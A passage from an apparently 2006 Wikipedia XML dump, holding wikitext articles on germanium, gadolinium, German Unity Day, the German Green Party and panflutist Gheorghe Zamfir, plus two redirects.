Germanium is a hard, grayish-white element that has a metallic luster and the same crystal structure as [[diamond]]. In addition, it is important to note that germanium is a semiconductor, with electrical properties between those of a [[metal]] and an [[insulator]]. In its pure state, this metalloid is [[crystal]]line, brittle and retains its [[luster]] in air at room temperature. [[Zone refining]] techniques have led to the production of crystalline germanium for [[semiconductor]]s that have an impurity of only one part in 10&lt;sup&gt;10&lt;/sup&gt;.

== History ==
[[Image:GermaniumUSGOV.jpg|thumb|left|Germanium bowl]]
In [[1871]] germanium ([[Latin]] ''Germania'' for [[Germany]]) was one of the elements that [[Dmitri Mendeleev]] predicted to exist as a missing analogue of the [[silicon]] group (Mendeleev called it &quot;[[Mendeleev's predicted elements|ekasilicon]]&quot;). The existence of this element was proven by [[Clemens Winkler]] in [[1886]]. This discovery was an important confirmation of Mendeleev's idea of element periodicity.

&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Ekasilicon&lt;/th&gt;
&lt;th&gt;Germanium&lt;/th&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;atomic mass&lt;/td&gt;
&lt;td&gt;72&lt;/td&gt;
&lt;td&gt;72.59&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;density (g/cm&lt;sup&gt;3&lt;/sup&gt;)&lt;/td&gt;
&lt;td&gt;5.5&lt;/td&gt;
&lt;td&gt;5.35&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;melting point (°C)&lt;/td&gt;
&lt;td&gt;high&lt;/td&gt;
&lt;td&gt;947&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;color&lt;/td&gt;
&lt;td&gt;gray&lt;/td&gt;
&lt;td&gt;gray&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
The development of the germanium transistor opened the door to countless applications of [[solid-state]] electronics. From [[1950]] through the early [[1970s]], this area provided an increasing market for germanium, but then high purity silicon began replacing germanium in transistors, [[diode|diodes]], and rectifiers. Silicon has superior electrical properties, but requires much higher purity samples&amp;mdash;a purity which could not be commercially achieved in the early days. Meanwhile, demand for germanium in [[fiber optics]] communication networks, infrared [[night vision]] systems, and polymerization catalysts increased dramatically.  These end uses represented 85% of worldwide germanium consumption for [[2000]].

== Applications ==
Unlike most semiconductors, germanium has a small [[band gap]], allowing it to efficiently respond to [[infrared]] light. It is therefore used in infrared [[spectroscope]]s and other optical equipment which require extremely sensitive infrared detectors. Its oxide's [[refractive index|index of refraction]] and dispersion properties make germanium useful in wide-angle [[camera]] lenses and in [[microscope]] objective lenses.

Germanium transistors are still used in some [[Stompbox|stompboxes]] by musicians who wish to reproduce the distinctive tonal character of the [[Fuzzbox|&quot;fuzz&quot;-tone]] from the early [[rock and roll]] era. Vintage [[Stompbox|stompboxes]] known to contain germanium transistors have shown marked increases in collector value for this reason alone.

The alloy Silicon germanide (commonly referred to as &quot;silicon-germanium&quot;, or [[SiGe]]) is rapidly becoming an important semiconductor material, for use in high speed integrated circuits. Circuits utilising the properties of Si-SiGe junctions can be much faster than those using silicon alone.

Other uses:
* [[Alloy]]ing agent;
* Phosphor in [[fluorescent lamp]]s; and as a
* [[catalyst]]
* High purity germanium single crystal detectors can precisely identify radiation sources (e.g. for airport security)

Certain compounds of germanium have low toxicity to [[mammal]]s, but have toxic effects against certain [[bacterium|bacteria]]. This property makes these compounds useful as chemotherapeutic agents.

== Occurrence ==
This metal is found in [[argyrodite]] ([[sulfide]] of germanium and [[silver]]); [[coal]]; [[germanite]]; [[zinc]] ores; and other [[mineral]]s. 
See also ''[[:Category:Germanium minerals]]''

Germanium is obtained commercially from zinc ore processing smelter dust and from the [[combustion]] by-products of certain coals. A large reserve of this element is therefore in coal sources.

This metalloid can be extracted from other metals by fractional [[distillation]] of its volatile tetrachloride. This technique permits the production of ultra-high purity germanium.

In [[1997]] the cost of germanium was about [[United States dollar|US$]]3 per [[gram]]. The yearend price for germanium in [[2000]] was $1,150 per [[kilogram]] (or $1.15 per gram).

==Compounds==
[[Germanium tetrahydride]] (GeH&lt;sub&gt;4&lt;/sub&gt;),
[[Germanium tetrachloride]] (GeCl&lt;sub&gt;4&lt;/sub&gt;)
[[Germanium dioxide]] (germania) (GeO&lt;sub&gt;2&lt;/sub&gt;)

See also ''[[:Category:Germanium compounds]]''

==References==
*[http://periodic.lanl.gov/elements/32.html Los Alamos National Laboratory &amp;ndash; Germanium]

== External links ==
{{Commons|Germanium}}

*[http://www.webelements.com/webelements/elements/text/Ge/index.html WebElements.com &amp;ndash; Germanium]
[[Category:Chemical elements]]
[[Category:Metalloids]]
[[Category:Semiconductor materials]]

[[bs:Germanijum]]
[[ca:Germani]]
[[cs:Germanium]]
[[de:Germanium]]
[[et:Germaanium]]
[[el:Γερμάνιο]]
[[es:Germanio]]
[[eo:Germanio (elemento)]]
[[fr:Germanium]]
[[ko:저마늄]]
[[io:Germanio]]
[[is:German]]
[[it:Germanio]]
[[he:גרמניום]]
[[ku:Germanyûm]]
[[lv:Germānijs]]
[[lt:Germanis]]
[[hu:Germánium]]
[[nl:Germanium]]
[[ja:ゲルマニウム]]
[[no:Germanium]]
[[nn:Germanium]]
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[[pl:German]]
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[[ru:Германий]]
[[sl:Germanij]]
[[sr:Германијум]]
[[fi:Germanium]]
[[sv:Germanium]]
[[th:เจอร์เมเนียม]]
[[uk:Германій]]
[[zh:锗]]</text>
    </revision>
  </page>
  <page>
    <title>Gadolinium</title>
    <id>12243</id>
    <revision>
      <id>40010412</id>
      <timestamp>2006-02-17T13:48:43Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
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{{Elementbox_shearmodulus_gpa | (α form) 21.8 }}
{{Elementbox_bulkmodulus_gpa | (α form) 37.9 }}
{{Elementbox_poissonratio | (α form) 0.259 }}
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{{Elementbox_cas_number | 7440-54-2 }}
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{{Elementbox_isotopes_decay | mn=152 | sym=Gd
 | na=0.20% | hl=1.08&amp;times;10&lt;sup&gt;14&lt;/sup&gt; [[year|y]]
 | dm=[[alpha decay|α]] | de=2.205 | pn=148 | ps=[[samarium|Sm]] }}
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{{Elementbox_isotopes_decay | mn=160 | sym=Gd
 | na=21.86% | hl=&gt;1.3&amp;times;10&lt;sup&gt;21&lt;/sup&gt;[[year|y]]
 | dm=[[Double beta minus decay|β&lt;sup&gt;-&lt;/sup&gt;β&lt;sup&gt;-&lt;/sup&gt;]] | de=1.7 | pn=160 | ps=[[dysprosium|Dy]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffbfff | color2=black }}

'''Gadolinium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Gd''' and [[atomic number]] 64.

__TOC__
[[Image:Gadolinium.jpg|thumb|200px|left|Gadolinium &gt;99.9% purity]]

&lt;br style=&quot;clear:left;&quot; /&gt;
== Notable characteristics ==

Gadolinium is a silvery white, malleable and ductile [[rare earth]] metal with a metallic luster. It crystallizes in [[hexagon]]al, close-packed alpha form at room temperature; when heated to 1508 [[Kelvin|K]], it transforms into its beta form, which has a [[body-centered cubic]] structure.

Unlike other rare earth elements, gadolinium is relatively stable in dry air; however, it tarnishes quickly in moist air and forms a loosely adhering [[oxide]] that spalls off and exposes more surface to oxidation. Gadolinium reacts slowly with water and is soluble in dilute acid.

Gadolinium has the highest [[thermal neutron]] capture cross-section of any (known) element, 49,000 [[barn (unit)|barns]], but it also has a fast burn-out rate, limiting its usefulness as a [[nuclear control rod]] material.

Gadolinium becomes [[superconductivity|superconductive]] below a critical temperature of 1.083 K. It is strongly [[Magnetism|magnetic]] at room temperature, and is in fact the only metal to exhibit [[ferromagnetic]] properties except for [[period 4 element|fourth period]] [[transition metal]]s.

== Applications ==
Gadolinium is used for making [[gadolinium yttrium garnet]]s, which have [[microwave]] applications, and gadolinium compounds are used for making phosphors for colour TV tubes. Gadolinium is also used for manufacturing [[compact disc]]s and [[computer memory]]. 

Gadolinium is used in [[nuclear marine propulsion]] systems as a [[burnable poison]].  The gadolinium slows the initial reaction rate, but as it decays other neutron poisons accumulate, allowing for long-running cores. Gadolinium is also used as a secondary, emergency shut-down measure in some nuclear reactors, particularly of the [[CANDU reactor|CANDU]] type.

Gadolinium also possesses unusual [[metallurgy|metallurgic]] properties, with as little as 1% of gadolinium improving the workability and resistance of [[iron]], [[chromium]] and related [[alloy]]s to high temperatures and [[oxidation]].

Solutions of [[organic chemistry|organic]] gadolinium [[complex (chemistry)|complex]]es are used as [[intravenous]] [[radiocontrast]] agents to enhance images in medical [[magnetic resonance imaging]].

Because of their [[paramagnetism|paramagnetic]] properties, gadolinium compounds are used in [[magnetic resonance imaging]].

[[Gallium Gadolinium Garnet]] (Gd&lt;sub&gt;3&lt;/sub&gt;Ga&lt;sub&gt;5&lt;/sub&gt;O&lt;sub&gt;12&lt;/sub&gt;) a material with good optical properties, and is used in fabrication of various optical components and as substrate material for magneto–optical films.

In the future, [[gadolinium ethyl sulfate]], which has extremely low noise characteristics, may be used in [[maser]]s. Furthermore, gadolinium's high magnetic movement and low [[Curie temperature]] (which lies just at room temperature) suggest applications as a magnetic component for sensing hot and cold.

Due the extremely high neutron cross-section of Gadolinium, this element is very effective for use with neutron radiography.

== History ==
In [[1880]], [[Switzerland|Swiss]] [[chemist]] [[Jean Charles Galissard de Marignac]] observed spectroscopic lines due to gadolinium in samples of [[didymium]] and [[gadolinite]]; [[France|French]] chemist [[Paul Émile Lecoq de Boisbaudran]] separated [[gadolinium(III) oxide|gadolinia]], the [[oxide]] of Gadolinium, from Mosander's [[yttria]] in [[1886]]. The element itself was isolated only recently.

Gadolinium, like the mineral [[gadolinite]], is named after [[Finland|Finnish]] chemist and [[geologist]] [[Johan Gadolin]].

== Biological role ==
Gadolinium has no known biological role.

== Occurrence ==
Gadolinium is never found in nature as the free element, but is contained in many rare minerals such as [[monazite]] and [[bastnasite]]. It occurs only in trace amounts in the mineral [[gadolinite]] which was also named for [[Johan Gadolin]]. Today, it is prepared by [[ion exchange]] and [[solvent extraction]] technique, or by the reduction of its anhydrous fluoride with metallic [[calcium]].

== Compounds ==
Compounds of gadolinium include:

* [[Fluoride]]s
** [[gadolinium(III) fluoride|GdF&lt;sub&gt;3&lt;/sub&gt;]]
* [[Chloride]]s
** [[gadolinium(III) chloride|GdCl&lt;sub&gt;3&lt;/sub&gt;]]
* [[Bromide]]s
** [[gadolinium(III) bromide|GdBr&lt;sub&gt;3&lt;/sub&gt;]]
* [[Iodide]]s
** [[gadolinium(III) iodide|GdI&lt;sub&gt;3&lt;/sub&gt;]]
* [[Oxide]]s
** [[gadolinium(III) oxide|Gd&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;]]
* [[Sulfide]]s
** [[gadolinium(III) sulfide|Gd&lt;sub&gt;2&lt;/sub&gt;S&lt;sub&gt;3&lt;/sub&gt;]]
* [[Nitride]]s
** [[gadolinium(III) nitride|GdN]]

== Isotopes ==
Naturally occurring gadolinium is composed of 5 stable [[isotope]]s, &lt;sup&gt;154&lt;/sup&gt;Gd, &lt;sup&gt;155&lt;/sup&gt;Gd, &lt;sup&gt;156&lt;/sup&gt;Gd, &lt;sup&gt;157&lt;/sup&gt;Gd and &lt;sup&gt;158&lt;/sup&gt;Gd, and 2 [[radioisotope]]s, &lt;sup&gt;152&lt;/sup&gt;Gd and &lt;sup&gt;160&lt;/sup&gt;Gd, with &lt;sup&gt;158&lt;/sup&gt;Gd being the most abundant (24.84% [[natural abundance]]). 30 [[radioisotope]]s have been characterized with the most stable being &lt;sup&gt;160&lt;/sup&gt;Gd with a [[half-life]] of more than 1.3&amp;times;10&lt;sup&gt;21&lt;/sup&gt; years (the decay is not observed, only the lower limit on the half-life is known), alpha-decaying &lt;sup&gt;152&lt;/sup&gt;Gd with a half-life of 1.08&amp;times;10&lt;sup&gt;14&lt;/sup&gt; years, and &lt;sup&gt;150&lt;/sup&gt;Gd with a half-life of 1.79&amp;times;10&lt;sup&gt;6&lt;/sup&gt; years. All of the remaining [[radioactive]] isotopes have half-lifes that are less than 74.7 years, and the majority of these have half lifes that are less than 24.6 seconds. This element also has 4 [[meta state]]s with the most stable being &lt;sup&gt;143m&lt;/sup&gt;Gd (t&lt;sub&gt;½&lt;/sub&gt; 110 seconds), &lt;sup&gt;145m&lt;/sup&gt;Gd (t&lt;sub&gt;½&lt;/sub&gt; 85 seconds) and &lt;sup&gt;141m&lt;/sup&gt;Gd (t&lt;sub&gt;½&lt;/sub&gt; 24.5 seconds).

The primary [[decay mode]] before the most abundant stable isotope, &lt;sup&gt;158&lt;/sup&gt;Gd, is [[electron capture]] and the primary mode after is [[beta minus decay]]. The primary [[decay product]]s before &lt;sup&gt;158&lt;/sup&gt;Gd are element Eu ([[Europium]]) isotopes and the primary products after are element Tb ([[Terbium]]) isotopes.

== Precautions ==
As with the other lanthanides, gadolinium compounds are of low to moderate [[toxicity]], although their toxicity has not been investigated in detail.

== References ==
*[http://periodic.lanl.gov/elements/64.html Los Alamos National Laboratory &amp;ndash; Gadolinium]

== External links ==
{{Commons|Gadolinium}}
* [http://www.webelements.com/webelements/elements/text/Gd/index.html WebElements.com &amp;ndash; Gadolinium]
* [http://education.jlab.org/itselemental/ele064.html It's Elemental &amp;ndash; Gadolinium]

[[Category:Chemical elements]]
[[Category:Lanthanides]]

[[ca:Gadolini]]
[[cs:Gadolinium]]
[[de:Gadolinium]]
[[et:Gadoliinium]]
[[es:Gadolinio]]
[[eo:Gadolinio]]
[[fr:Gadolinium]]
[[ko:가돌리늄]]
[[io:Gadolino]]
[[it:Gadolinio]]
[[he:גדוליניום]]
[[lt:Gadolinis]]
[[hu:Gadolínium]]
[[nl:Gadolinium]]
[[ja:ガドリニウム]]
[[no:Gadolinium]]
[[nn:Gadolinium]]
[[pl:Gadolin]]
[[pt:Gadolínio]]
[[ru:Гадолиний]]
[[sl:Gadolinij]]
[[sr:Гадолинијум]]
[[fi:Gadolinium]]
[[sv:Gadolinium]]
[[th:แกโดลิเนียม]]
[[uk:Гадоліній]]
[[zh:钆]]</text>
    </revision>
  </page>
  <page>
    <title>German Unity Day</title>
    <id>12244</id>
    <revision>
      <id>40111404</id>
      <timestamp>2006-02-18T05:20:55Z</timestamp>
      <contributor>
        <username>Bobby1011</username>
        <id>278977</id>
      </contributor>
      <comment>removed sweeping general statement about &quot;other countries&quot;.</comment>
      <text xml:space="preserve">The '''Day of German Unity''' (''Tag der Deutschen Einheit''), [[October 3]], is a national holiday in [[Germany]] celebrating [[German reunification]] in [[1990]].

The natural choice would have been the day the [[Berlin Wall]] came down, namely [[November 9]], [[1989]], which happily coincided with the anniversary of the founding of the first real German [[Republic]] in [[1918]] and the sound defeat of [[Hitler]]'s first [[Beer Hall Putsch|coup]] in [[1923]], which gave that republic another decade; however November 9 was also the anniversary of the first large-scale Nazi-led [[pogrom]]s against [[Jew]]s in [[1938]] (so called ''[[Kristallnacht]]''), and the day was thus considered inappropriate as a national holiday. Thus, October 3, 1990, the day of formal reunion was chosen instead.

Before reunification, in Western Germany the &quot;Day of German Unity&quot; was [[June 17]]; this was a somewhat propagandistic interpretation of a failed [[1953]] revolt staged by East German workers mainly against a raise in work quotas. The revolt was crushed with Soviet aid; the exact number of fatalities is unknown, but estimated at somewhat above 100. In East Germany, the national holiday was [[October 7]]. 

== See also ==

* [[East Germany]]
** [[Uprising of 1953 in East Germany]] 
** [[Straße des 17. Juni]] 
* [[West Germany]]
* [http://www.germany-info.org/relaunch/info/publications/infocus/15yrs_Reunification/ German Embassy Publication, Infocus:German Unity Day]

{{Germany-stub}}

[[de:Tag der Deutschen Einheit]]
[[no:Tag der Deutschen Einheit]]
[[nn:Tag der Deutschen Einheit]]
[[pt:Dia da Unificação da Alemanha]]</text>
    </revision>
  </page>
  <page>
    <title>Gerhard Schroeder</title>
    <id>12245</id>
    <revision>
      <id>23450424</id>
      <timestamp>2005-09-18T08:08:14Z</timestamp>
      <contributor>
        <username>Jwissick</username>
        <id>372924</id>
      </contributor>
      <comment>RV</comment>
      <text xml:space="preserve">#REDIRECT [[Gerhard Schröder]]</text>
    </revision>
  </page>
  <page>
    <title>Alliance '90/The Greens</title>
    <id>12246</id>
    <revision>
      <id>41089804</id>
      <timestamp>2006-02-24T23:58:48Z</timestamp>
      <contributor>
        <ip>63.231.134.31</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_German_Political_Party |
  party_name     = Bündnis 90/Die Grünen |
  party_logo     = [[Image:Greens-Logo ne4.jpg|170px|Greens logo]] |
  party_wikicolourid     = B9G |
  leader = [[Claudia Roth]] and [[Reinhard Bütikofer]]|
  foundation     = 1979 (''The Greens'')&lt;br&gt;1993 (Merger of ''The Greens'' and ''Alliance '90'') |
  ideology = [[Green politics|Green]] |
  international = [[Global Greens]] |
  european = [[European Green Party]] |
  europarl = [[European Greens - European Free Alliance|Greens / EFA]] |
  colours = [[Green]]|
  headquarters   = Platz vor dem Neuen Tor 1&lt;br&gt;10115 [[Berlin]] |
  website = [http://www.gruene.de http://www.gruene.de]
}}

'''''Bündnis 90/Die Grünen''''' (literally: Alliance '90/The Greens), the [[Germany|German]] [[Worldwide green parties|Green Party]], is a [[political party]] in [[Germany]] whose regional predecessors were founded in the late [[1970s]] as part of the new [[social movement]]s. In 1980 the party was founded as &quot;Die Grünen&quot; on a federal level in West Germany. It is the oldest and thus far the most politically successful of the world's many green parties. In 1989 and 1990 numerous civil rights groups in East Germany combined to form &quot;Bündnis 90&quot;, which merged with &quot;Die Grünen&quot; in 1993. Bündnis 90/Die Grünen were part of the national [[coalition government]] between 1998 and October 2005. 

== History ==

===1970s: Foundation===
&lt;!-- I put all images here to get some sort of continuous gallery at the right border of the article --&gt;
[[image:Greens-DCP01355.jpg|230px|thumb|right|Photo taken at 2001 party convention]][[image:Greens-DCP01369.jpg|thumb|right|230px|Photo taken at 2001 party convention]][[Image:Cohn-bendit.jpg|thumb|230px|Daniel Cohn-Bendit and Rebecca Harms at the &quot;Political Ash Wednesday&quot; 2004 in Biberach/Riss]][[Image:GruenenVelotaxi20050813 CopyrightKaihsuTai.jpg|230px|thumb|right|A bicycle-taxi (velotaxi) in front of the German Bundestag in Berlin with the Alliance '90/The Greens livery for the [[German federal election, 2005]].]][[Image:Gruene-Ja-Plakat-gen-food1.jpg|thumb|230px|right|2005 election placard against GMOs]][[Image:Bdk-oldenburg-2005-kuenast.jpg|thumb|230px|right|Federal party convention in Oldenburg; Renate Künast speaking (2005)]]

In the late 1970s, [[environmentalist]]s and peace activists organized politically as ''The Greens'' ('''''Die Grünen'''''). Opposition to [[pollution]], expanded use of [[Nuclear reactor|nuclear power]], [[NATO]] strategy, and certain aspects of life in a highly industrialized society were principal campaign issues. Important figures in the first years were &amp;mdash; among others &amp;mdash; [[Rudi Dutschke]], [[ Heinrich Böll]], [[Petra Kelly]] and [[Joseph Beuys]].

===1980s: Parliamentary representation on the federal level===
In 1982 the more right-wing parts of the party broke away to form the [[Ecological Democratic Party]]. Those who remained in the Green party were more strongly anti-military and against restrictions on immigration and abortion, while supporting the decriminalization of marijuana use, placing a higher priority on working for the rights of gays and lesbians, and tending to advocate what they described as &quot;anti-authoritarian&quot; concepts of education and child-raising. They also tended to identify more closely with a culture of protest and civil disobedience, frequently clashing with police at demonstrations against atomic weapons, nuclear power, or the construction of a new runway (''Startbahn West'') at [[Frankfurt airport]]. Those who left the party at the time might have felt similarly about some of these issues, but did not identify culturally with the forms of protest in which Green Party members took part.

After some success at [[States of Germany|state level]] and the vote for the [[European parliament]], the party first won seats in the [[Bundestag]], the lower house of the German [[parliament]], in [[German federal election, 1983|the 1983 election]]. Among the important political issues at the time was the deployment of [[MGM-31 Pershing|Pershing II]] [[IRBM]]s and nuclear-tipped [[cruise missiles]] by the U.S. and [[NATO]] on West German soil, generating strong opposition in the general population that found an outlet in mass demonstrations. The newly formed party was able to draw on this popular movement to recruit support. Partly due to the impact of the [[Chernobyl accident|Chernobyl disaster]] in 1986, and to growing awareness of the threat of air pollution and [[acid rain]] to German forests (&quot;Waldsterben&quot;), the Greens increased their share of the vote to 8.3% in the [[German federal election, 1987|January 1987 West German national election]]. Around this time, [[Joschka Fischer]], although never holding any important party office, emerged as ''de facto'' leader of the party, which he remained until resigning all leadership posts following the [[German federal election, 2005]].

===1990s: German reunification, fall out of parliament===
In the [[German federal election, 1990|December 1990 elections]], taking place in newly-reunified Germany, the Greens in the West did not pass the 5% limit required to win seats in the Bundestag. It was only due to a temporary modification of German election law, applying the five-percent &quot;hurdle&quot; separately in East and West Germany, that the Greens acquired any parliamentary seats at all. This happened because in the territory of the former [[GDR]], the Greens, in a joint effort with '''[[Alliance 90]]'''
(a loose grouping of [[civil rights]] [[activism|activists]] with diverse political views), were able to gain more than 5% of the vote. Some people attribute this poor performance to the reluctance of the campaign to cater to the prevalent mood of [[nationalism]] and [[patriotism]], instead focusing on subjects such as [[climate]] change (a campaign poster at the time proudly stated: &quot;Everyone is talking about Germany; we're talking about the weather!&quot;, paraphrasing a popular slogan of [[Deutsche Bahn|Deutsche Bundesbahn]], the West German national railway. In [[German federal election, 1994|the 1994 election]], however, the western branch of the party returned to the Bundestag when the Greens got 7.3% of the vote nationwide and 49 seats.

===1998&amp;ndash;2002: Greens as governing party, first term===
In [[German federal election, 1998|1998]], despite a slight fall in their percentage of the vote (6.7%), the Greens retained 47 seats and joined the federal government for the first time in [[coalition]] with the [[SPD|Social Democrats]]. [[Joschka Fischer]] became vice chancellor and foreign minister in the new government, which had two other Green ministers ([[Andrea Fischer]], later [[Renate Künast]], and [[Jürgen Trittin]]). 
Almost immediately, the party was plunged into a crisis by the question of German participation in the NATO actions in [[Kosovo]]. Numerous anti-war party members resigned their party membership when the first deployment of German troops in a military conflict abroad occurred under a Green government, and the party began to experience a long string of defeats in local and [[States of Germany|regional]] elections. Disappointment with the Green participation in government increased when anti-nuclear-power activists realized that shutting down the country's nuclear plants would not happen overnight, and numerous business-friendly SPD members of the federal cabinet opposed the environmentalist agenda of the Greens, necessitating far-reaching compromises.

In 2001, the party experienced a further crisis as some Green Members of Parliament refused to back the government's plan of sending soldiers to help with the [[2001 U.S. Attack on Afghanistan]]. Chancellor [[Gerhard Schröder]] called a vote of confidence, tying it to his strategy on the war. Four Green MPs and one Social Democrat voted against the government, but Schröder was still able to command a majority. 

===2002&amp;ndash;2005: Greens as governing party, second term===
Despite the crises of the preceding electoral period, in [[German federal election, 2002|2002]], the Greens increased their total to 55 seats (in a smaller parliament) and 8.6%. This was partly due to the perception that the internal debate over the war in Afghanistan had been more honest and open than in other parties, and one of the MPs who had voted against the Afghanistan deployment, [[Hans-Christian Ströbele]], was directly elected to the Bundestag as a district representative for the Kreuzberg-Friedrichshain constituency in Berlin, becoming the first Green to ever gain a first-past-the-post seat in Germany. Certain lobby groups which had benefited from Green-initiated legislation in the 1998-2002 term, such as the environmental lobby (Renewable Energies Act) or gays and lesbians ([[Registered Partnership]] Law), also rewarded the party with their votes. Perhaps most importantly for determining the success of both the Greens and the SPD was the increasing threat of war in Iraq, which was highly unpopular with the German public, and helped gather votes for the parties which had taken a stand against participation in this war. Despite losses for the SPD, the coalition government with the Social Democrats commanded a very slight majority in the [[Bundestag]] and was renewed, with [[Joschka Fischer]] as foreign minister, [[Renate Künast]] as minister for consumer protection, nutrition and agriculture, and [[Jürgen Trittin]] as minister for the environment.

One internal issue in 2002 was the failed attempt to settle a long-standing discussion about the question of whether members of parliament should be allowed to become members of the party executive. Two party conventions declined to change the party statute. The necessary majority of two thirds wasn't reached by a very small margin. As a result, former party chairpersons [[Fritz Kuhn]] and [[Claudia Roth]] (who had been elected into parliament that year) were no longer able to continue in their executive function and were replaced by former party secretary general [[Reinhard Bütikofer]] and former [[Bundestag]] member [[Angelika Beer]]. The party then held a member referendum on this question in the spring of 2003 which did change the party statute. Now members of parliament may be elected for two of the six seats of the party executive, as long as they are not ministers or caucus leaders. 57 % of all party members voted in the member referendum, with 67 % voting in favor of the change. The referendum was only the second in the history of Bündnis 90/Die Grünen, the first having been held about the merger of the Greens and Bündnis 90. In 2004, after Angelika Beer was elected to the [[European parliament]], Claudia Roth was elected to replace her as party chair.

The only party convention in 2003 was planned for November 2003, but about 20% of the local organisations forced the federal party to hold a special party convention in Cottbus early to discuss the party position in regard to the ''[[Agenda 2010]]'', a major reform of the German social security systems planned by chancellor Schröder. 

The November 2003 party convention was held in Dresden and decided about the election platform for the 2004 [[European Parliament]] elections. The German Green list for these elections was headed by [[Rebecca Harms]] (then leader of the Green parliament party in Lower Saxony) and [[Daniel Cohn-Bendit]], previously Member of the European Parliament for [[Les Verts]], the French Green Party. The November 2003 convention is also noted because it was the first convention of a German political party ever using an [[electronic voting]] system.

The Greens gained a record 13 of Germany's 99 seats in these elections, particularly on the back of the perceived competence of Green ministers in the federal government and the unpopularity of the [[SPD]].

In early 2005, the Greens were the target of the [[German Visa Affair 2005]], instigated in the media by the [[CDU]]. At the end of April, 2005, they celebrated the decommissioning of the Obrigheim nuclear power plant. They are also continuing to support a bill for an Anti-Discrimination Law in the [[Bundestag]]. 

In May 2005, the only remaining red-green coalition at the provincial (Länder) level of government in [[North Rhine-Westphalia]] lost the vote, leaving only the federal government with participation of the greens (apart from local governments). In the 2005 early [[German federal election, 2005|federal election]]  the party incurred very small losses and achieved 8.1% of the vote and 51 seats. However, due to larger losses of the SPD, the previous coalition has no majority in the ''Bundestag''.

==See also==
{{Greens}}
* [[Green Party faction (Bundestag)]]
* [[Politics of Germany]] 
* [[List of political parties in Germany]]
* [[Federal Assembly of Germany]] ''(Bundestag)''
* [[Worldwide Green Parties]]

*Important greens
** [[Angelika Beer]] 
** [[Reinhard Bütikofer]] 
** [[Joschka Fischer]] 
** [[Petra Kelly]] 
** [[Fritz Kuhn]] 
** [[Renate Künast]] 
** [[Claudia Roth]] 
** [[Jürgen Trittin]] 
** [[Hans-Christian Ströbele]] 
** [[Volker Beck]] 
** [[Marieluise Beck]]

== Literature about the German Green Party ==
* Frankland, E. Gene / Schoonmaker, Donald (1992): ''Between Protest &amp; Power: The Green Party in Germany.'' Boulder, San Francisco, Oxford: Westview Press. 
* Raschke, Joachim (1993): ''Die Grünen: Wie sie wurden, was sie sind.'' Köln: Bund-Verlag. 
* Raschke, Joachim (2001): ''Die Zukunft der Grünen.'' Frankfurt am Main / New York: Campus. 
* Veen, Hans-Joachim / Hoffmann, Jürgen (1992): ''Die Grünen zu Beginn der neunziger Jahre. Profil und Defizite einer fast etablierten Partei.'' Bonn / Berlin: Bouvier. 
* Wiesenthal, Helmut (2000): &quot;Profilkrise und Funktionswandel. Bündnis 90/Die Grünen auf dem Weg zu einem neuen Selbstverständnis&quot;, in ''Aus Politik und Zeitgeschichte'', B5 2000, S. 22-29.

==External links==
*[http://www.gruene.de Official Homepage of Bündnis 90/Die Grünen with some English language information]
*[http://www.boell.de/de/13_archiv/2192.html Online archive at Heinrich Böll Foundation, German]
*[http://www.thenation.com/doc.mhtml?i=20040719&amp;s=hockenos &quot;German Greens and Pax Europa&quot; (English) The Nation article about Green foreign policy]
{{Green Parties}}

[[Category:Green political parties]]
[[Category:Political parties in Germany]]
[[Category:1979 establishments]]

[[de:Bündnis 90/Die Grünen]]
[[es:Bündnis 90 / Die Grünen]]
[[fr:Bündnis 90/Die Grünen]]
[[ko:독일 녹색당]]
[[ja:緑の党 (ドイツ)]]
[[no:Bündnis 90/Die Grünen]]
[[pl:Związek 90/Zieloni]]
[[ru:Партия Зелёных (Германия)]]
[[fi:Vihreä puolue (Saksa)]]
[[sv:Bündnis 90/Die Grünen]]
[[zh:德国绿党]]</text>
    </revision>
  </page>
  <page>
    <title>Goettingen</title>
    <id>12247</id>
    <revision>
      <id>27989117</id>
      <timestamp>2005-11-11T03:18:08Z</timestamp>
      <contributor>
        <username>Curpsbot-unicodify</username>
        <id>397664</id>
      </contributor>
      <minor />
      <comment>1 &amp;&lt;name&gt;; → Unicode</comment>
      <text xml:space="preserve">#REDIRECT [[Göttingen]]</text>
    </revision>
  </page>
  <page>
    <title>Gheorghe Zamfir</title>
    <id>12248</id>
    <revision>
      <id>40470265</id>
      <timestamp>2006-02-20T20:16:38Z</timestamp>
      <contributor>
        <ip>81.89.4.131</ip>
      </contributor>
      <text xml:space="preserve">'''Gheorghe Zamfir''' {{IPA|/'gěor.ge zam'fir/}} (born [[April 6th]], [[1941]], in [[Găeşti]], [[Romania]]) is a famous Romanian [[musician]] who is a virtuoso on the [[pan pipes]]. He was initially self-taught and continued his education at the Bucharest Academy of Music, where he was a pupil of [[Fanica Luca]], and the Conservatory of Bucharest (1968). He came to the public eye when he was 'discovered' by Swiss [[ethnomusicologist]] [[Marcel Cellier]] who extensively researched Romanian [[folk music]] in the 1960s.

Throughout his 50 year long career, Gheorghe Zamfir has won an overall 120 golden and platinum disc awards and sold over 120 million albums.

Largely through the numerous television [[commercials]] for his albums, he introduced the [[panflute]] to a modern audience and revived it from obscurity. He has made many albums of panflute music, and his song &quot;The Lonely Shepherd&quot; is featured in [[Quentin Tarantino]]'s film ''[[Kill Bill Vol. 1]]''. In the [[television series]] ''[[King of the Hill]]'''s episode &quot;Propane Boom&quot;, Zamfir was suggested as a corporate spokesman to rival [[Mega Lo Mart]]'s [[Chuck Mangione]].  Arguably, his most famous contribution was to the soundtrack for the classic Australian film [[Picnic at Hanging Rock]].

== External links ==
* [http://romania-on-line.net/whoswho/ZamfirGheorghe.htm Zamfir's Résumé (Recordings, Career, Education, Concerts (only 1))]
* [http://www.gheorghe-zamfir.com/index-e.htm Official Homepage]

[[Category:1941 births|Zamfir, Gheorghe]]
[[Category:Living people|Zamfir, Gheorghe]]
